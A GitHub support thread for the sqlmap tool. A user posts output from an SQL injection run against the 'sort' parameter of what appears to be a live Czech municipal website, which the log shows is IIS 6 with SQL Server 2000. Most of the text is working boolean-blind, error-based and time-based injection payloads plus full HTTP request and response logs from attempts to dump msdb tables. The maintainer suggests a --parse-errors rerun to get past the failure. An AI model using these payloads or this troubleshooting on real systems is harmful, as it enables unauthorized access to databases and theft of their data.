Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

unable to retrieve the number of entries for table #502

Closed
dedust opened this issue Aug 8, 2013 · 5 comments
Closed

unable to retrieve the number of entries for table #502

dedust opened this issue Aug 8, 2013 · 5 comments
Assignees
@stamparm
Labels
support

Comments

@dedust
Copy link

dedust commented Aug 8, 2013

any advice with this pls?

Place: GET
Parameter: sort
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)
Payload: cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=(SELECT (CASE WHEN (9414=9414) THEN CHAR(40)+CHAR(115)+CHAR(101)+CHAR(108)+CHAR(101)+CHAR(99)+CHAR(116)+CHAR(32)+CHAR(99)+CHAR(111)+CHAR(110)+CHAR(118)+CHAR(101)+CHAR(114)+CHAR(116)+CHAR(40)+CHAR(105)+CHAR(110)+CHAR(116)+CHAR(44)+CHAR(67)+CHAR(72)+CHAR(65)+CHAR(82)+CHAR(40)+CHAR(53)+CHAR(50)+CHAR(41)+CHAR(37)+CHAR(50)+CHAR(98)+CHAR(67)+CHAR(72)+CHAR(65)+CHAR(82)+CHAR(40)+CHAR(54)+CHAR(55)+CHAR(41)+CHAR(37)+CHAR(50)+CHAR(98)+CHAR(67)+CHAR(72)+CHAR(65)+CHAR(82)+CHAR(40)+CHAR(49)+CHAR(49)+CHAR(55)+CHAR(41)+CHAR(37)+CHAR(50)+CHAR(98)+CHAR(67)+CHAR(72)+CHAR(65)+CHAR(82)+CHAR(40)+CHAR(56)+CHAR(49)+CHAR(41)+CHAR(37)+CHAR(50)+CHAR(98)+CHAR(67)+CHAR(72)+CHAR(65)+CHAR(82)+CHAR(40)+CHAR(49)+CHAR(49)+CHAR(54)+CHAR(41)+CHAR(37)+CHAR(50)+CHAR(98)+CHAR(67)+CHAR(72)+CHAR(65)+CHAR(82)+CHAR(40)+CHAR(49)+CHAR(48)+CHAR(49)+CHAR(41)+CHAR(37)+CHAR(50)+CHAR(98)+CHAR(67)+CHAR(72)+CHAR(65)+CHAR(82)+CHAR(40)+CHAR(55)+CHAR(48)+CHAR(41)+CHAR(37)+CHAR(50)+CHAR(98)+CHAR(67)+CHAR(72)+CHAR(65)+CHAR(82)+CHAR(40)+CHAR(49)+CHAR(50)+CHAR(48)+CHAR(41)+CHAR(37)+CHAR(50)+CHAR(98)+CHAR(67)+CHAR(72)+CHAR(65)+CHAR(82)+CHAR(40)+CHAR(57)+CHAR(57)+CHAR(41)+CHAR(37)+CHAR(50)+CHAR(98)+CHAR(67)+CHAR(72)+CHAR(65)+CHAR(82)+CHAR(40)+CHAR(53)+CHAR(55)+CHAR(41)+CHAR(37)+CHAR(50)+CHAR(98)+CHAR(67)+CHAR(72)+CHAR(65)+CHAR(82)+CHAR(40)+CHAR(49)+CHAR(48)+CHAR(57)+CHAR(41)+CHAR(41)+CHAR(32)+CHAR(70)+CHAR(82)+CHAR(79)+CHAR(77)+CHAR(32)+CHAR(115)+CHAR(121)+CHAR(115)+CHAR(99)+CHAR(111)+CHAR(108)+CHAR(117)+CHAR(109)+CHAR(110)+CHAR(115)+CHAR(41) ELSE 9414*(SELECT 9414 FROM master..sysdatabases) END))&vyhledat=vyhledat

Type: error-based
Title: Microsoft SQL Server/Sybase error-based - Parameter replace
Payload: cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=(CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(102)+CHAR(113)+(SELECT (CASE WHEN (2221=2221) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(110)+CHAR(101)+CHAR(103)+CHAR(113))))&vyhledat=vyhledat

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries)
Payload: cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=(SELECT (CASE WHEN (7872=7872) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE 7872 END))&vyhledat=vyhledat

[22:23:09] [INFO] testing Microsoft SQL Server
[22:23:09] [INFO] confirming Microsoft SQL Server
[22:23:10] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[22:23:10] [INFO] fetching columns for table 'sysoperators' in database 'msdb'
[22:23:10] [INFO] the SQL query used returns 20 entries
[22:23:10] [INFO] starting 4 threads
[22:23:10] [INFO] resumed: category_id
[22:23:10] [INFO] resumed: int
[22:23:10] [INFO] resumed: email_address
[22:23:10] [INFO] resumed: nvarchar
[22:23:10] [INFO] resumed: enabled
[22:23:10] [INFO] resumed: tinyint
[22:23:10] [INFO] resumed: id
[22:23:10] [INFO] resumed: int
[22:23:10] [INFO] resumed: last_email_date
[22:23:10] [INFO] resumed: int
[22:23:10] [INFO] resumed: last_email_time
[22:23:10] [INFO] resumed: int
[22:23:10] [INFO] resumed: last_netsend_date
[22:23:10] [INFO] resumed: int
[22:23:10] [INFO] resumed: last_pager_date
[22:23:10] [INFO] resumed: last_netsend_time
[22:23:10] [INFO] resumed: int
[22:23:10] [INFO] resumed: int
[22:23:10] [INFO] resumed: netsend_address
[22:23:10] [INFO] resumed: pager_address
[22:23:10] [INFO] resumed: nvarchar
[22:23:10] [INFO] resumed: nvarchar
[22:23:10] [INFO] resumed: name
[22:23:10] [INFO] resumed: nvarchar
[22:23:10] [INFO] resumed: saturday_pager_start_time
[22:23:10] [INFO] resumed: saturday_pager_end_time
[22:23:10] [INFO] resumed: pager_days
[22:23:10] [INFO] resumed: tinyint
[22:23:10] [INFO] resumed: sunday_pager_end_time
[22:23:10] [INFO] resumed: int
[22:23:10] [INFO] resumed: last_pager_time
[22:23:10] [INFO] resumed: int
[22:23:10] [INFO] resumed: weekday_pager_end_time
[22:23:10] [INFO] resumed: int
[22:23:10] [INFO] resumed: int
[22:23:10] [INFO] resumed: int
[22:23:10] [INFO] resumed: sunday_pager_start_time
[22:23:10] [INFO] resumed: int
[22:23:10] [INFO] resumed: weekday_pager_start_time
[22:23:10] [INFO] resumed: int
[22:23:10] [INFO] fetching entries for table 'sysoperators' in database 'msdb'
[22:23:10] [INFO] resumed:
[22:23:10] [INFO] fetching number of entries for table 'sysoperators' in database 'msdb'
[22:23:10] [INFO] retrieved:
[22:23:10] [WARNING] multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically
[22:23:10] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[22:23:12] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads

[22:23:12] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[22:23:12] [WARNING] unable to retrieve the number of entries for table 'sysoperators' in database 'msdb'
[22:23:12] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 23 times
@ghost ghost assigned stamparm Aug 9, 2013
@stamparm
Copy link
Member

stamparm commented Aug 9, 2013

I would say that you don't have enough permissions on that table.

Could you please send a console output of same run together with a switch --parse-errors? As error-based technique is usable, there could be an useful error message

@dedust
Copy link
Author

dedust commented Aug 9, 2013

Hi, offcourse.

Microsoft OLE DB Provider for SQL Server
chyba 80040e07'
Syntax error converting the varchar value '4CuQteFxc9m' to a column of data type int.
/target.asp, line 275 ############################################################################ HTTP request [#2]: GET /index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=(SELECT%20(CASE%20WHEN%20(UNICODE(SUBSTRING((SELECT%20ISNULL(CAST(LTRIM(STR(COUNT(%2A)))%20AS%20NVARCHAR(4000)),CHAR(32))%20FROM%20msdb.dbo.sysoperators),1,1))%3E51)%20THEN%20CHAR(40)%2BCHAR(115)%2BCHAR(101)%2BCHAR(108)%2BCHAR(101)%2BCHAR(99)%2BCHAR(116)%2BCHAR(32)%2BCHAR(99)%2BCHAR(111)%2BCHAR(110)%2BCHAR(118)%2BCHAR(101)%2BCHAR(114)%2BCHAR(116)%2BCHAR(40)%2BCHAR(105)%2BCHAR(110)%2BCHAR(116)%2BCHAR(44)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(53)%2BCHAR(50)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(54)%2BCHAR(55)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(49)%2BCHAR(55)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(56)%2BCHAR(49)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(49)%2BCHAR(54)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(48)%2BCHAR(49)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(55)%2BCHAR(48)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(50)%2BCHAR(48)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(57)%2BCHAR(57)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(53)%2BCHAR(55)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(48)%2BCHAR(57)%2BCHAR(41)%2BCHAR(41)%2BCHAR(32)%2BCHAR(70)%2BCHAR(82)%2BCHAR(79)%2BCHAR(77)%2BCHAR(32)%2BCHAR(115)%2BCHAR(121)%2BCHAR(115)%2BCHAR(99)%2BCHAR(111)%2BCHAR(108)%2BCHAR(117)%2BCHAR(109)%2BCHAR(110)%2BCHAR(115)%2BCHAR(41)%20ELSE%206910%2A(SELECT%206910%20FROM%20master..sysdatabases)%20END))&vyhledat=vyhledat HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/_;q=0.8 User-agent: sqlmap/1.0-dev-1088011 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: target.cz Pragma: no-cache Cache-control: no-cache,no-store Cookie: ASPSESSIONIDCAQRSARQ=EDJKPCMBIGGBKKDFGEFEENCN Connection: close HTTP response [#2](500 Internal Server Error): Content-length: 7499 X-powered-by: ASP.NET Uri: http://target.cz:80/index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=(SELECT%20(CASE%20WHEN%20(UNICODE(SUBSTRING((SELECT%20ISNULL(CAST(LTRIM(STR(COUNT(%2A)))%20AS%20NVARCHAR(4000)),CHAR(32))%20FROM%20msdb.dbo.sysoperators),1,1))%3E51)%20THEN%20CHAR(40)%2BCHAR(115)%2BCHAR(101)%2BCHAR(108)%2BCHAR(101)%2BCHAR(99)%2BCHAR(116)%2BCHAR(32)%2BCHAR(99)%2BCHAR(111)%2BCHAR(110)%2BCHAR(118)%2BCHAR(101)%2BCHAR(114)%2BCHAR(116)%2BCHAR(40)%2BCHAR(105)%2BCHAR(110)%2BCHAR(116)%2BCHAR(44)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(53)%2BCHAR(50)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(54)%2BCHAR(55)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(49)%2BCHAR(55)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(56)%2BCHAR(49)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(49)%2BCHAR(54)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(48)%2BCHAR(49)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(55)%2BCHAR(48)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(50)%2BCHAR(48)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(57)%2BCHAR(57)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(53)%2BCHAR(55)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(48)%2BCHAR(57)%2BCHAR(41)%2BCHAR(41)%2BCHAR(32)%2BCHAR(70)%2BCHAR(82)%2BCHAR(79)%2BCHAR(77)%2BCHAR(32)%2BCHAR(115)%2BCHAR(121)%2BCHAR(115)%2BCHAR(99)%2BCHAR(111)%2BCHAR(108)%2BCHAR(117)%2BCHAR(109)%2BCHAR(110)%2BCHAR(115)%2BCHAR(41)%20ELSE%206910%2A(SELECT%206910%20FROM%20master..sysdatabases)%20END))&vyhledat=vyhledat Server: Microsoft-IIS/6.0 Connection: close Cache-control: private Date: Fri, 09 Aug 2013 08:27:04 Content-type: text/html
target.cz - Magistrát města Karlovy Vary

Investiční plány města rok 2013 (.xls 18kB)
Plán oprav místních komunikací 2013 (.xls 78kB)
Microsoft OLE DB Provider for SQL Server
chyba 80040e09'
SELECT permission denied on object 'sysoperators', database 'msdb', owner 'dbo'.
/target.asp, line 275 ############################################################################ HTTP request [#3]: GET /index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=(SELECT%20(CASE%20WHEN%20(UNICODE(SUBSTRING((SELECT%20ISNULL(CAST(LTRIM(STR(COUNT(%2A)))%20AS%20NVARCHAR(4000)),CHAR(32))%20FROM%20msdb.dbo.sysoperators),1,1))%3E48)%20THEN%20CHAR(40)%2BCHAR(115)%2BCHAR(101)%2BCHAR(108)%2BCHAR(101)%2BCHAR(99)%2BCHAR(116)%2BCHAR(32)%2BCHAR(99)%2BCHAR(111)%2BCHAR(110)%2BCHAR(118)%2BCHAR(101)%2BCHAR(114)%2BCHAR(116)%2BCHAR(40)%2BCHAR(105)%2BCHAR(110)%2BCHAR(116)%2BCHAR(44)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(53)%2BCHAR(50)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(54)%2BCHAR(55)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(49)%2BCHAR(55)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(56)%2BCHAR(49)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(49)%2BCHAR(54)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(48)%2BCHAR(49)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(55)%2BCHAR(48)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(50)%2BCHAR(48)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(57)%2BCHAR(57)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(53)%2BCHAR(55)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(48)%2BCHAR(57)%2BCHAR(41)%2BCHAR(41)%2BCHAR(32)%2BCHAR(70)%2BCHAR(82)%2BCHAR(79)%2BCHAR(77)%2BCHAR(32)%2BCHAR(115)%2BCHAR(121)%2BCHAR(115)%2BCHAR(99)%2BCHAR(111)%2BCHAR(108)%2BCHAR(117)%2BCHAR(109)%2BCHAR(110)%2BCHAR(115)%2BCHAR(41)%20ELSE%206910%2A(SELECT%206910%20FROM%20master..sysdatabases)%20END))&vyhledat=vyhledat HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/_;q=0.8 User-agent: sqlmap/1.0-dev-1088011 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: target.cz Pragma: no-cache Cache-control: no-cache,no-store Cookie: ASPSESSIONIDCAQRSARQ=EDJKPCMBIGGBKKDFGEFEENCN Connection: close HTTP response [#3](500 Internal Server Error): Content-length: 7499 X-powered-by: ASP.NET Uri: http://target:80/index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=(SELECT%20(CASE%20WHEN%20(UNICODE(SUBSTRING((SELECT%20ISNULL(CAST(LTRIM(STR(COUNT(%2A)))%20AS%20NVARCHAR(4000)),CHAR(32))%20FROM%20msdb.dbo.sysoperators),1,1))%3E48)%20THEN%20CHAR(40)%2BCHAR(115)%2BCHAR(101)%2BCHAR(108)%2BCHAR(101)%2BCHAR(99)%2BCHAR(116)%2BCHAR(32)%2BCHAR(99)%2BCHAR(111)%2BCHAR(110)%2BCHAR(118)%2BCHAR(101)%2BCHAR(114)%2BCHAR(116)%2BCHAR(40)%2BCHAR(105)%2BCHAR(110)%2BCHAR(116)%2BCHAR(44)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(53)%2BCHAR(50)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(54)%2BCHAR(55)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(49)%2BCHAR(55)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(56)%2BCHAR(49)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(49)%2BCHAR(54)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(48)%2BCHAR(49)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(55)%2BCHAR(48)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(50)%2BCHAR(48)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(57)%2BCHAR(57)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(53)%2BCHAR(55)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(48)%2BCHAR(57)%2BCHAR(41)%2BCHAR(41)%2BCHAR(32)%2BCHAR(70)%2BCHAR(82)%2BCHAR(79)%2BCHAR(77)%2BCHAR(32)%2BCHAR(115)%2BCHAR(121)%2BCHAR(115)%2BCHAR(99)%2BCHAR(111)%2BCHAR(108)%2BCHAR(117)%2BCHAR(109)%2BCHAR(110)%2BCHAR(115)%2BCHAR(41)%20ELSE%206910%2A(SELECT%206910%20FROM%20master..sysdatabases)%20END))&vyhledat=vyhledat Server: Microsoft-IIS/6.0 Connection: close Cache-control: private Date: Fri, 09 Aug 2013 08:27:04 Content-type: text/html

Plán oprav místních komunikací 2013 (.xls 78kB)
Microsoft OLE DB Provider for SQL Server
chyba 80040e09'
SELECT permission denied on object 'sysoperators', database 'msdb', owner 'dbo'.
/mmkv.asp, line 275 ############################################################################ HTTP request [#4]: GET /index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=(SELECT%20(CASE%20WHEN%20(UNICODE(SUBSTRING((SELECT%20ISNULL(CAST(LTRIM(STR(COUNT(%2A)))%20AS%20NVARCHAR(4000)),CHAR(32))%20FROM%20msdb.dbo.sysoperators),1,1))%3E1)%20THEN%20CHAR(40)%2BCHAR(115)%2BCHAR(101)%2BCHAR(108)%2BCHAR(101)%2BCHAR(99)%2BCHAR(116)%2BCHAR(32)%2BCHAR(99)%2BCHAR(111)%2BCHAR(110)%2BCHAR(118)%2BCHAR(101)%2BCHAR(114)%2BCHAR(116)%2BCHAR(40)%2BCHAR(105)%2BCHAR(110)%2BCHAR(116)%2BCHAR(44)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(53)%2BCHAR(50)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(54)%2BCHAR(55)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(49)%2BCHAR(55)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(56)%2BCHAR(49)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(49)%2BCHAR(54)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(48)%2BCHAR(49)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(55)%2BCHAR(48)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(50)%2BCHAR(48)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(57)%2BCHAR(57)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(53)%2BCHAR(55)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(48)%2BCHAR(57)%2BCHAR(41)%2BCHAR(41)%2BCHAR(32)%2BCHAR(70)%2BCHAR(82)%2BCHAR(79)%2BCHAR(77)%2BCHAR(32)%2BCHAR(115)%2BCHAR(121)%2BCHAR(115)%2BCHAR(99)%2BCHAR(111)%2BCHAR(108)%2BCHAR(117)%2BCHAR(109)%2BCHAR(110)%2BCHAR(115)%2BCHAR(41)%20ELSE%206910%2A(SELECT%206910%20FROM%20master..sysdatabases)%20END))&vyhledat=vyhledat HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/_;q=0.8 User-agent: sqlmap/1.0-dev-1088011 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: mmkv.cz Pragma: no-cache Cache-control: no-cache,no-store Cookie: ASPSESSIONIDCAQRSARQ=EDJKPCMBIGGBKKDFGEFEENCN Connection: close HTTP response [#4](500 Internal Server Error): Content-length: 7499 X-powered-by: ASP.NET Uri: 